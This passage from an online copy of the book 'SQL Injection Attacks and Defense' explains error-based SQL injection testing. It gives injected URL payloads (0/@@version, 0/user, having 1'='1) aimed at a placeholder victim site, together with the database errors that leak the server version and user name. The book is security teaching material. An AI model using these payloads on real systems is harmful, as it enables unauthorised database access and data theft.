28.10.2014 Views

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SHOW MORE
SHOW LESS

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

SELECT *<br />

FROM products<br />

WHERE idproduct=attacker<br />

Testing for <strong>SQL</strong> <strong>Injection</strong> • Chapter 2 43<br />

The <strong>SQL</strong> server underst<strong>and</strong>s that if the value is not a number it must be a column name.<br />

In this case, the server looks for a column called attacker within the products table. However,<br />

there is no column named attacker, <strong>and</strong> therefore it returns an error.<br />

There are some techniques that you can use to retrieve information embedded in the<br />

errors returned from the database. The first one generates an error converting a string to an<br />

integer:<br />

http://www.victim.com/showproducts.aspx?category=bikes' <strong>and</strong> 1=0/@@version;--<br />

Application response:<br />

Server Error in '/' Application.<br />

Syntax error converting the nvarchar value 'Microsoft <strong>SQL</strong> Server 2000 –<br />

8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft<br />

Corporation Enterprise Edition on Windows NT 5.2 (Build 3790: ) ' to a<br />

column of data type int.<br />

Description: An unh<strong>and</strong>led exception occurred during the execution of the<br />

current web request. Please review the stack trace for more information<br />

about the error <strong>and</strong> where it originated in the code.<br />

The database reported an error, converting the result of @@version to an integer <strong>and</strong><br />

displaying its contents. This technique abuses the type conversion functionality in <strong>SQL</strong> Server.<br />

We sent 0/@@version as part of our injected code. As a division operation needs to be executed<br />

between two numbers, the database tries to convert the result from the @@version function<br />

into a number. When the operation fails the database displays the content of the variable.<br />

You can use this technique to display any variable in the database. The following<br />

example uses this technique to display the user variable:<br />

http://www.victim.com/showproducts.aspx?category=bikes' <strong>and</strong> 1=0/user;--<br />

Application response:<br />

Syntax error converting the nvarchar value 'dbo' to a column of data type<br />

int.<br />

Description: An unh<strong>and</strong>led exception occurred during the execution of the<br />

current web request. Please review the stack trace for more information<br />

about the error <strong>and</strong> where it originated in the code.<br />

There are also techniques to display information about the statement executed by the<br />

database, such as the use of having 1=1:<br />

http://www.victim.com/showproducts.aspx?category=bikes' having 1'='1

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!